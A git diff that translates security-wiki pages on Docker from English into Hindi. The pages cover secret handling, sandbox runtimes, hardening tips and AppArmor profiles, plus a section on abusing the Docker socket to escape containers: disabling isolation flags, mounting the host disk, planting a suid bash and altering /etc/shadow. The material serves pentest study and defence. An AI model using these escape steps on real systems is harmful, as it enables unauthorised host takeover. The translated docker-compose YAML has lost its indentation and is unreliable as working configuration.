+**Docker वॉल्यूम** एक सुरक्षित विकल्प हैं, जिन्हें संवेदनशील जानकारी तक पहुँचने के लिए अनुशंसित किया गया है। इन्हें अस्थायी फ़ाइल सिस्टम के रूप में मेमोरी में उपयोग किया जा सकता है, जो `docker inspect` और लॉगिंग से संबंधित जोखिमों को कम करता है। हालाँकि, रूट उपयोगकर्ता और जिनके पास कंटेनर तक `exec` पहुँच है, वे अभी भी रहस्यों तक पहुँच सकते हैं। -**Docker volumes** are a safer alternative, recommended for accessing sensitive information. They can be utilized as a temporary filesystem in memory, mitigating the risks associated with `docker inspect` and logging. However, root users and those with `exec` access to the container might still access the secrets. +**Docker रहस्य** संवेदनशील जानकारी को संभालने के लिए एक और अधिक सुरक्षित विधि प्रदान करते हैं। उन उदाहरणों के लिए जिनमें छवि निर्माण चरण के दौरान रहस्यों की आवश्यकता होती है, **BuildKit** एक कुशल समाधान प्रस्तुत करता है जो निर्माण समय के रहस्यों का समर्थन करता है, निर्माण गति को बढ़ाता है और अतिरिक्त सुविधाएँ प्रदान करता है। -**Docker secrets** offer an even more secure method for handling sensitive information. For instances requiring secrets during the image build phase, **BuildKit** presents an efficient solution with support for build-time secrets, enhancing build speed and providing additional features. +BuildKit का लाभ उठाने के लिए, इसे तीन तरीकों से सक्रिय किया जा सकता है: -To leverage BuildKit, it can be activated in three ways: - -1. Through an environment variable: `export DOCKER_BUILDKIT=1` -2. By prefixing commands: `DOCKER_BUILDKIT=1 docker build .` -3. By enabling it by default in the Docker configuration: `{ "features": { "buildkit": true } }`, followed by a Docker restart. - -BuildKit allows for the use of build-time secrets with the `--secret` option, ensuring these secrets are not included in the image build cache or the final image, using a command like: +1. एक पर्यावरण चर के माध्यम से: `export DOCKER_BUILDKIT=1` +2. कमांड को पूर्ववर्ती करके: `DOCKER_BUILDKIT=1 docker build .` +3. Docker कॉन्फ़िगरेशन में डिफ़ॉल्ट रूप से सक्षम करके: `{ "features": { "buildkit": true } }`, इसके बाद Docker पुनः प्रारंभ करें। +BuildKit `--secret` विकल्प के साथ निर्माण समय के रहस्यों का उपयोग करने की अनुमति देता है, यह सुनिश्चित करते हुए कि ये रहस्य छवि निर्माण कैश या अंतिम छवि में शामिल नहीं हैं, जैसे कि: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` - -For secrets needed in a running container, **Docker Compose and Kubernetes** offer robust solutions. Docker Compose utilizes a `secrets` key in the service definition for specifying secret files, as shown in a `docker-compose.yml` example: - +चलते हुए कंटेनर में आवश्यक रहस्यों के लिए, **Docker Compose और Kubernetes** मजबूत समाधान प्रदान करते हैं। Docker Compose सेवा परिभाषा में रहस्य फ़ाइलों को निर्दिष्ट करने के लिए `secrets` कुंजी का उपयोग करता है, जैसा कि `docker-compose.yml` उदाहरण में दिखाया गया है: ```yaml version: "3.7" services: - my_service: - image: centos:7 - entrypoint: "cat /run/secrets/my_secret" - secrets: - - my_secret +my_service: +image: centos:7 +entrypoint: "cat /run/secrets/my_secret" secrets: - my_secret: - file: ./my_secret_file.txt +- my_secret +secrets: +my_secret: +file: ./my_secret_file.txt ``` +यह कॉन्फ़िगरेशन Docker Compose के साथ सेवाओं को शुरू करते समय रहस्यों के उपयोग की अनुमति देता है। -This configuration allows for the use of secrets when starting services with Docker Compose. - -In Kubernetes environments, secrets are natively supported and can be further managed with tools like [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes' Role Based Access Controls (RBAC) enhances secret management security, similar to Docker Enterprise. +Kubernetes वातावरण में, रहस्यों का स्वदेशी समर्थन होता है और इन्हें [Helm-Secrets](https://github.com/futuresimple/helm-secrets) जैसे उपकरणों के साथ और प्रबंधित किया जा सकता है। Kubernetes का भूमिका आधारित पहुँच नियंत्रण (RBAC) रहस्य प्रबंधन सुरक्षा को बढ़ाता है, जो Docker Enterprise के समान है। ### gVisor -**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers. +**gVisor** एक एप्लिकेशन कर्नेल है, जो Go में लिखा गया है, जो Linux सिस्टम सतह का एक महत्वपूर्ण हिस्सा लागू करता है। इसमें एक [Open Container Initiative (OCI)](https://www.opencontainers.org) रनटाइम शामिल है जिसे `runsc` कहा जाता है, जो **एप्लिकेशन और होस्ट कर्नेल के बीच एक अलगाव सीमा प्रदान करता है**। `runsc` रनटाइम Docker और Kubernetes के साथ एकीकृत होता है, जिससे सैंडबॉक्स किए गए कंटेनरों को चलाना सरल हो जाता है। {% embed url="https://github.com/google/gvisor" %} ### Kata Containers -**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense. +**Kata Containers** एक ओपन सोर्स समुदाय है जो हल्के वर्चुअल मशीनों के साथ एक सुरक्षित कंटेनर रनटाइम बनाने के लिए काम कर रहा है, जो कंटेनरों की तरह महसूस और प्रदर्शन करते हैं, लेकिन **हार्डवेयर वर्चुअलाइजेशन** तकनीक का उपयोग करके **मजबूत कार्यभार अलगाव** प्रदान करते हैं। {% embed url="https://katacontainers.io/" %} -### Summary Tips +### सारांश टिप्स -- **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag. -- Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups. -- [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack. -- [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries. -- [**Limit resources available to the container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Resource limits can protect the machine from denial of service attacks. -- **Adjust** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(or SELinux)** profiles to restrict the actions and syscalls available for the container to the minimum required. -- **Use** [**official docker images**](https://docs.docker.com/docker-hub/official_images/) **and require signatures** or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP. -- **Regularly** **rebuild** your images to **apply security patches to the host an images.** -- Manage your **secrets wisely** so it's difficult to the attacker to access them. -- If you **exposes the docker daemon use HTTPS** with client & server authentication. -- In your Dockerfile, **favor COPY instead of ADD**. ADD automatically extracts zipped files and can copy files from URLs. COPY doesn’t have these capabilities. Whenever possible, avoid using ADD so you aren’t susceptible to attacks through remote URLs and Zip files. -- Have **separate containers for each micro-s**ervice -- **Don’t put ssh** inside container, “docker exec” can be used to ssh to Container. -- Have **smaller** container **images** +- **`--privileged` ध्वज का उपयोग न करें या** [**Docker सॉकेट को कंटेनर के अंदर माउंट न करें**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**।** Docker सॉकेट कंटेनरों को उत्पन्न करने की अनुमति देता है, इसलिए यह होस्ट पर पूर्ण नियंत्रण प्राप्त करने का एक आसान तरीका है, उदाहरण के लिए, `--privileged` ध्वज के साथ एक और कंटेनर चलाकर। +- **कंटेनर के अंदर रूट के रूप में न चलाएं। एक** [**अलग उपयोगकर्ता**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **का उपयोग करें और** [**उपयोगकर्ता नामस्थान**](https://docs.docker.com/engine/security/userns-remap/)**।** कंटेनर में रूट वही होता है जो होस्ट पर होता है जब तक कि इसे उपयोगकर्ता नामस्थान के साथ पुनः मैप नहीं किया जाता। यह मुख्य रूप से Linux नामस्थान, क्षमताओं और cgroups द्वारा हल्के से प्रतिबंधित होता है। +- [**सभी क्षमताएँ हटा दें**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) और केवल आवश्यक क्षमताएँ सक्षम करें** (`--cap-add=...`)। कई कार्यभार को किसी भी क्षमताओं की आवश्यकता नहीं होती है और उन्हें जोड़ने से संभावित हमले का दायरा बढ़ता है। +- [**“no-new-privileges” सुरक्षा विकल्प का उपयोग करें**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) ताकि प्रक्रियाएँ अधिक विशेषाधिकार प्राप्त न कर सकें, उदाहरण के लिए, suid बाइनरी के माध्यम से। +- [**कंटेनर के लिए उपलब्ध संसाधनों को सीमित करें**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**।** संसाधन सीमाएँ मशीन को सेवा से इनकार के हमलों से बचा सकती हैं। +- **seccomp** [**को समायोजित करें**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(या SELinux)** प्रोफाइल को कंटेनर के लिए आवश्यक न्यूनतम क्रियाओं और syscalls को प्रतिबंधित करने के लिए। +- **आधिकारिक Docker छवियों का उपयोग करें** [**और हस्ताक्षर की आवश्यकता करें**](https://docs.docker.com/docker-hub/official_images/) **या उनके आधार पर अपनी खुद की बनाएं। बैकडोर वाली छवियों का उपयोग न करें।** [**https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/**](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) **।** रूट कुंजी, पासफ़्रेज़ को सुरक्षित स्थान पर भी स्टोर करें। Docker की UCP के साथ कुंजी प्रबंधित करने की योजनाएँ हैं। +- **नियमित रूप से** **अपनी छवियों को फिर से बनाएं ताकि** **होस्ट और छवियों पर सुरक्षा पैच लागू हो सकें।** +- अपने **रहस्यों का बुद्धिमानी से प्रबंधन करें** ताकि हमलावर के लिए उन्हें एक्सेस करना कठिन हो। +- यदि आप **Docker डेमन को उजागर करते हैं तो HTTPS का उपयोग करें** क्लाइंट और सर्वर प्रमाणीकरण के साथ। +- अपने Dockerfile में, **ADD के बजाय COPY को प्राथमिकता दें**। ADD स्वचालित रूप से ज़िप फ़ाइलों को निकालता है और URLs से फ़ाइलें कॉपी कर सकता है। COPY में ये क्षमताएँ नहीं होती हैं। जब भी संभव हो, ADD का उपयोग करने से बचें ताकि आप दूरस्थ URLs और ज़िप फ़ाइलों के माध्यम से हमलों के प्रति संवेदनशील न हों। +- प्रत्येक माइक्रो-सेवा के लिए **अलग कंटेनर रखें।** +- **कंटेनर के अंदर ssh न रखें, "docker exec" का उपयोग कंटेनर में ssh करने के लिए किया जा सकता है।** +- **छोटे** कंटेनर **छवियाँ रखें।** -## Docker Breakout / Privilege Escalation +## Docker ब्रेकआउट / विशेषाधिकार वृद्धि -If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**: +यदि आप **एक Docker कंटेनर के अंदर हैं** या आपके पास **Docker समूह में एक उपयोगकर्ता तक पहुँच है**, तो आप **भागने और विशेषाधिकार बढ़ाने** की कोशिश कर सकते हैं: {{#ref}} docker-breakout-privilege-escalation/ {{#endref}} -## Docker Authentication Plugin Bypass +## Docker प्रमाणीकरण प्लगइन बाईपास -If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:** +यदि आपके पास Docker सॉकेट तक पहुँच है या आपके पास **Docker समूह में एक उपयोगकर्ता तक पहुँच है लेकिन आपके कार्यों को एक Docker प्रमाणीकरण प्लगइन द्वारा सीमित किया जा रहा है**, तो जांचें कि क्या आप इसे **बाईपास कर सकते हैं:** {{#ref}} authz-and-authn-docker-access-authorization-plugin.md {{#endref}} -## Hardening Docker +## Docker को मजबूत करना -- The tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) is a script that checks for dozens of common best-practices around deploying Docker containers in production. The tests are all automated, and are based on the [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ - You need to run the tool from the host running docker or from a container with enough privileges. Find out **how to run it in the README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). +- उपकरण [**docker-bench-security**](https://github.com/docker/docker-bench-security) एक स्क्रिप्ट है जो उत्पादन में Docker कंटेनरों को तैनात करने के चारों ओर सामान्य सर्वोत्तम प्रथाओं के लिए दर्जनों की जांच करती है। परीक्षण सभी स्वचालित होते हैं, और [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) पर आधारित होते हैं।\ +आपको इसे Docker चला रहे होस्ट से या पर्याप्त विशेषाधिकार वाले कंटेनर से चलाना होगा। जानें **इसे README में कैसे चलाना है:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)। -## References +## संदर्भ - [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) - [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936) @@ -421,12 +373,4 @@ authz-and-authn-docker-access-authorization-plugin.md - [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) - [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index a23a6b769..a487fa421 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -1,43 +1,43 @@ -# Abusing Docker Socket for Privilege Escalation +# Docker सॉकेट का दुरुपयोग करके विशेषाधिकार वृद्धि {{#include ../../../banners/hacktricks-training.md}} -There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges: +कुछ अवसर होते हैं जब आपके पास **docker सॉकेट तक पहुंच** होती है और आप इसका उपयोग **विशेषाधिकार बढ़ाने** के लिए करना चाहते हैं। कुछ क्रियाएँ बहुत संदिग्ध हो सकती हैं और आप उनसे बचना चाह सकते हैं, इसलिए यहाँ विभिन्न फ्लैग्स हैं जो विशेषाधिकार बढ़ाने में सहायक हो सकते हैं: -### Via mount +### माउंट के माध्यम से -You can **mount** different parts of the **filesystem** in a container running as root and **access** them.\ -You could also **abuse a mount to escalate privileges** inside the container. +आप **रूट** के रूप में चल रहे कंटेनर में **फाइल सिस्टम** के विभिन्न भागों को **माउंट** कर सकते हैं और उन्हें **एक्सेस** कर सकते हैं।\ +आप कंटेनर के अंदर विशेषाधिकार बढ़ाने के लिए **माउंट का दुरुपयोग** भी कर सकते हैं। -- **`-v /:/host`** -> Mount the host filesystem in the container so you can **read the host filesystem.** - - If you want to **feel like you are in the host** but being on the container you could disable other defense mechanisms using flags like: - - `--privileged` - - `--cap-add=ALL` - - `--security-opt apparmor=unconfined` - - `--security-opt seccomp=unconfined` - - `-security-opt label:disable` - - `--pid=host` - - `--userns=host` - - `--uts=host` - - `--cgroupns=host` -- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt` - - Run `fdisk -l` in the host to find the `` device to mount -- **`-v /tmp:/host`** -> If for some reason you can **just mount some directory** from the host and you have access inside the host. Mount it and create a **`/bin/bash`** with **suid** in the mounted directory so you can **execute it from the host and escalate to root**. +- **`-v /:/host`** -> कंटेनर में होस्ट फाइल सिस्टम को माउंट करें ताकि आप **होस्ट फाइल सिस्टम को पढ़ सकें।** +- यदि आप **महसूस करना चाहते हैं कि आप होस्ट में हैं** लेकिन कंटेनर में हैं, तो आप फ्लैग्स का उपयोग करके अन्य रक्षा तंत्रों को निष्क्रिय कर सकते हैं जैसे: +- `--privileged` +- `--cap-add=ALL` +- `--security-opt apparmor=unconfined` +- `--security-opt seccomp=unconfined` +- `-security-opt label:disable` +- `--pid=host` +- `--userns=host` +- `--uts=host` +- `--cgroupns=host` +- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> यह पिछले तरीके के समान है, लेकिन यहाँ हम **डिवाइस डिस्क को माउंट कर रहे हैं**। फिर, कंटेनर के अंदर `mount /dev/sda1 /mnt` चलाएँ और आप **/mnt** में **होस्ट फाइल सिस्टम** को **एक्सेस** कर सकते हैं। +- होस्ट में `fdisk -l` चलाएँ ताकि `` डिवाइस को माउंट किया जा सके। +- **`-v /tmp:/host`** -> यदि किसी कारणवश आप **केवल कुछ निर्देशिका** को होस्ट से माउंट कर सकते हैं और आपके पास होस्ट के अंदर पहुंच है। इसे माउंट करें और माउंट की गई निर्देशिका में **suid** के साथ **`/bin/bash`** बनाएं ताकि आप **इसे होस्ट से निष्पादित कर सकें और रूट तक बढ़ा सकें**। > [!NOTE] -> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` +> ध्यान दें कि शायद आप `/tmp` फ़ोल्डर को माउंट नहीं कर सकते लेकिन आप एक **विभिन्न लिखने योग्य फ़ोल्डर** को माउंट कर सकते हैं। आप लिखने योग्य निर्देशिकाएँ खोजने के लिए: `find / -writable -type d 2>/dev/null` का उपयोग कर सकते हैं। > -> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. +> **ध्यान दें कि सभी निर्देशिकाएँ लिनक्स मशीन में suid बिट का समर्थन नहीं करेंगी!** यह जांचने के लिए कि कौन सी निर्देशिकाएँ suid बिट का समर्थन करती हैं, `mount | grep -v "nosuid"` चलाएँ। उदाहरण के लिए आमतौर पर `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` और `/var/lib/lxcfs` suid बिट का समर्थन नहीं करते हैं। > -> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) +> यह भी ध्यान दें कि यदि आप **`/etc`** या किसी अन्य फ़ोल्डर को **कॉन्फ़िगरेशन फ़ाइलों** के साथ **माउंट** कर सकते हैं, तो आप उन्हें रूट के रूप में डॉकर कंटेनर से बदल सकते हैं ताकि आप **होस्ट में उनका दुरुपयोग कर सकें** और विशेषाधिकार बढ़ा सकें (शायद `/etc/shadow` को संशोधित करके)। -### Escaping from the container +### कंटेनर से भागना -- **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape). -- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work. +- **`--privileged`** -> इस फ्लैग के साथ आप [कंटेनर से सभी अलगाव हटा देते हैं](docker-privileged.md#what-affects)। [रूट के रूप में विशेषाधिकार प्राप्त कंटेनरों से भागने की तकनीकों](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape) की जांच करें। +- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [क्षमताओं का दुरुपयोग करके विशेषाधिकार बढ़ाने के लिए](../linux-capabilities.md), **उस क्षमता को कंटेनर को दें** और अन्य सुरक्षा विधियों को निष्क्रिय करें जो शोषण को काम करने से रोक सकती हैं। -### Curl +### कर्ल -In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page: +इस पृष्ठ पर हमने डॉकर फ्लैग्स का उपयोग करके विशेषाधिकार बढ़ाने के तरीकों पर चर्चा की है, आप पृष्ठ में **कर्ल** कमांड का उपयोग करके इन तरीकों का दुरुपयोग करने के **तरीके** पा सकते हैं: {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md index 0455067e0..7f7a8b8dd 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -4,29 +4,28 @@ ## Basic Information -AppArmor is a **kernel enhancement designed to restrict the resources available to programs through per-program profiles**, effectively implementing Mandatory Access Control (MAC) by tying access control attributes directly to programs instead of users. This system operates by **loading profiles into the kernel**, usually during boot, and these profiles dictate what resources a program can access, such as network connections, raw socket access, and file permissions. +AppArmor एक **kernel enhancement है जिसे प्रोग्रामों के लिए उपलब्ध संसाधनों को प्रति-प्रोग्राम प्रोफाइल के माध्यम से प्रतिबंधित करने के लिए डिज़ाइन किया गया है**, प्रभावी रूप से अनिवार्य पहुँच नियंत्रण (MAC) को लागू करता है, जो पहुँच नियंत्रण विशेषताओं को सीधे प्रोग्रामों से उपयोगकर्ताओं के बजाय जोड़ता है। यह प्रणाली **kernel में प्रोफाइल लोड करके** काम करती है, आमतौर पर बूट के दौरान, और ये प्रोफाइल निर्धारित करते हैं कि एक प्रोग्राम किन संसाधनों तक पहुँच सकता है, जैसे नेटवर्क कनेक्शन, कच्चे सॉकेट तक पहुँच, और फ़ाइल अनुमतियाँ। -There are two operational modes for AppArmor profiles: +AppArmor प्रोफाइल के लिए दो संचालन मोड हैं: -- **Enforcement Mode**: This mode actively enforces the policies defined within the profile, blocking actions that violate these policies and logging any attempts to breach them through systems like syslog or auditd. -- **Complain Mode**: Unlike enforcement mode, complain mode does not block actions that go against the profile's policies. Instead, it logs these attempts as policy violations without enforcing restrictions. +- **Enforcement Mode**: यह मोड प्रोफाइल के भीतर परिभाषित नीतियों को सक्रिय रूप से लागू करता है, उन क्रियाओं को अवरुद्ध करता है जो इन नीतियों का उल्लंघन करती हैं और syslog या auditd जैसे सिस्टम के माध्यम से उल्लंघन के किसी भी प्रयास को लॉग करता है। +- **Complain Mode**: Enforcement मोड के विपरीत, complain मोड उन क्रियाओं को अवरुद्ध नहीं करता है जो प्रोफाइल की नीतियों के खिलाफ जाती हैं। इसके बजाय, यह इन प्रयासों को नीति उल्लंघनों के रूप में लॉग करता है बिना प्रतिबंध लागू किए। ### Components of AppArmor -- **Kernel Module**: Responsible for the enforcement of policies. -- **Policies**: Specify the rules and restrictions for program behavior and resource access. -- **Parser**: Loads policies into the kernel for enforcement or reporting. -- **Utilities**: These are user-mode programs that provide an interface for interacting with and managing AppArmor. +- **Kernel Module**: नीतियों के प्रवर्तन के लिए जिम्मेदार। +- **Policies**: प्रोग्राम व्यवहार और संसाधन पहुँच के लिए नियम और प्रतिबंध निर्दिष्ट करते हैं। +- **Parser**: प्रवर्तन या रिपोर्टिंग के लिए नीतियों को kernel में लोड करता है। +- **Utilities**: ये उपयोगकर्ता-मोड प्रोग्राम हैं जो AppArmor के साथ इंटरैक्ट करने और प्रबंधित करने के लिए एक इंटरफ़ेस प्रदान करते हैं। ### Profiles path -Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\ -With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder. +Apparmor प्रोफाइल आमतौर पर _**/etc/apparmor.d/**_ में सहेजे जाते हैं।\ +`sudo aa-status` के साथ आप उन बाइनरीज़ की सूची प्राप्त कर सकेंगे जो किसी प्रोफाइल द्वारा प्रतिबंधित हैं। यदि आप सूचीबद्ध प्रत्येक बाइनरी के पथ में "/" को बिंदु में बदल सकते हैं, तो आप उल्लेखित फ़ोल्डर के भीतर apparmor प्रोफाइल का नाम प्राप्त करेंगे। -For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_ +उदाहरण के लिए, _/usr/bin/man_ के लिए एक **apparmor** प्रोफाइल _/etc/apparmor.d/usr.bin.man_ में स्थित होगा। ### Commands - ```bash aa-status #check the current status aa-enforce #set profile to enforce mode (from disable or complain) @@ -36,47 +35,41 @@ aa-genprof #generate a new profile aa-logprof #used to change the policy when the binary/program is changed aa-mergeprof #used to merge the policies ``` +## एक प्रोफ़ाइल बनाना -## Creating a profile - -- In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files. -- To indicate the access the binary will have over **files** the following **access controls** can be used: - - **r** (read) - - **w** (write) - - **m** (memory map as executable) - - **k** (file locking) - - **l** (creation hard links) - - **ix** (to execute another program with the new program inheriting policy) - - **Px** (execute under another profile, after cleaning the environment) - - **Cx** (execute under a child profile, after cleaning the environment) - - **Ux** (execute unconfined, after cleaning the environment) -- **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \ to the profile file) -- **Deny rules are supported to override allow rules**. +- प्रभावित निष्पादन योग्य को इंगित करने के लिए, **पूर्ण पथ और वाइल्डकार्ड** फ़ाइलों को निर्दिष्ट करने के लिए अनुमति है (फ़ाइल ग्लोबिंग के लिए)। +- यह इंगित करने के लिए कि बाइनरी के पास **फाइलों** पर क्या पहुंच होगी, निम्नलिखित **एक्सेस नियंत्रण** का उपयोग किया जा सकता है: +- **r** (पढ़ना) +- **w** (लिखना) +- **m** (निष्पादन योग्य के रूप में मेमोरी मैप) +- **k** (फाइल लॉकिंग) +- **l** (हार्ड लिंक बनाना) +- **ix** (नई प्रोग्राम नीति विरासत में लेते हुए दूसरे प्रोग्राम को निष्पादित करना) +- **Px** (दूसरे प्रोफ़ाइल के तहत निष्पादित करना, पर्यावरण को साफ़ करने के बाद) +- **Cx** (बच्चे के प्रोफ़ाइल के तहत निष्पादित करना, पर्यावरण को साफ़ करने के बाद) +- **Ux** (अनियंत्रित निष्पादित करना, पर्यावरण को साफ़ करने के बाद) +- **चर** प्रोफ़ाइल में परिभाषित किए जा सकते हैं और प्रोफ़ाइल के बाहर से हेरफेर किया जा सकता है। उदाहरण: @{PROC} और @{HOME} (प्रोफ़ाइल फ़ाइल में #include \ जोड़ें) +- **अनुमति नियमों को ओवरराइड करने के लिए अस्वीकृति नियमों का समर्थन किया जाता है**। ### aa-genprof -To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\ -You just need to run: - +एक प्रोफ़ाइल बनाने की प्रक्रिया को सरल बनाने के लिए apparmor आपकी मदद कर सकता है। यह संभव है कि **apparmor एक बाइनरी द्वारा किए गए कार्यों का निरीक्षण करे और फिर आपको यह तय करने दे कि आप कौन से कार्यों की अनुमति देना या अस्वीकृत करना चाहते हैं**।\ +आपको बस यह चलाना है: ```bash sudo aa-genprof /path/to/binary ``` - -Then, in a different console perform all the actions that the binary will usually perform: - +फिर, एक अलग कंसोल में सभी क्रियाएँ करें जो बाइनरी आमतौर पर करेगी: ```bash /path/to/binary -a dosomething ``` - -Then, in the first console press "**s**" and then in the recorded actions indicate if you want to ignore, allow, or whatever. When you have finished press "**f**" and the new profile will be created in _/etc/apparmor.d/path.to.binary_ +फिर, पहले कंसोल में "**s**" दबाएं और फिर रिकॉर्ड की गई क्रियाओं में बताएं कि आप क्या अनदेखा, अनुमति या कुछ और करना चाहते हैं। जब आप समाप्त कर लें, तो "**f**" दबाएं और नया प्रोफ़ाइल _/etc/apparmor.d/path.to.binary_ में बनाया जाएगा। > [!NOTE] -> Using the arrow keys you can select what you want to allow/deny/whatever +> तीर कुंजियों का उपयोग करके आप चुन सकते हैं कि आप क्या अनुमति/अस्वीकृत/कुछ और करना चाहते हैं। ### aa-easyprof -You can also create a template of an apparmor profile of a binary with: - +आप एक बाइनरी के apparmor प्रोफ़ाइल का टेम्पलेट भी बना सकते हैं: ```bash sudo aa-easyprof /path/to/binary # vim:syntax=apparmor @@ -90,40 +83,34 @@ sudo aa-easyprof /path/to/binary # No template variables specified "/path/to/binary" { - #include +#include - # No abstractions specified +# No abstractions specified - # No policy groups specified +# No policy groups specified - # No read paths specified +# No read paths specified - # No write paths specified +# No write paths specified } ``` - > [!NOTE] -> Note that by default in a created profile nothing is allowed, so everything is denied. You will need to add lines like `/etc/passwd r,` to allow the binary read `/etc/passwd` for example. - -You can then **enforce** the new profile with +> ध्यान दें कि एक बनाए गए प्रोफ़ाइल में डिफ़ॉल्ट रूप से कुछ भी अनुमति नहीं है, इसलिए सब कुछ अस्वीकृत है। आपको उदाहरण के लिए बाइनरी को `/etc/passwd` पढ़ने की अनुमति देने के लिए `/etc/passwd r,` जैसी पंक्तियाँ जोड़ने की आवश्यकता होगी। +आप 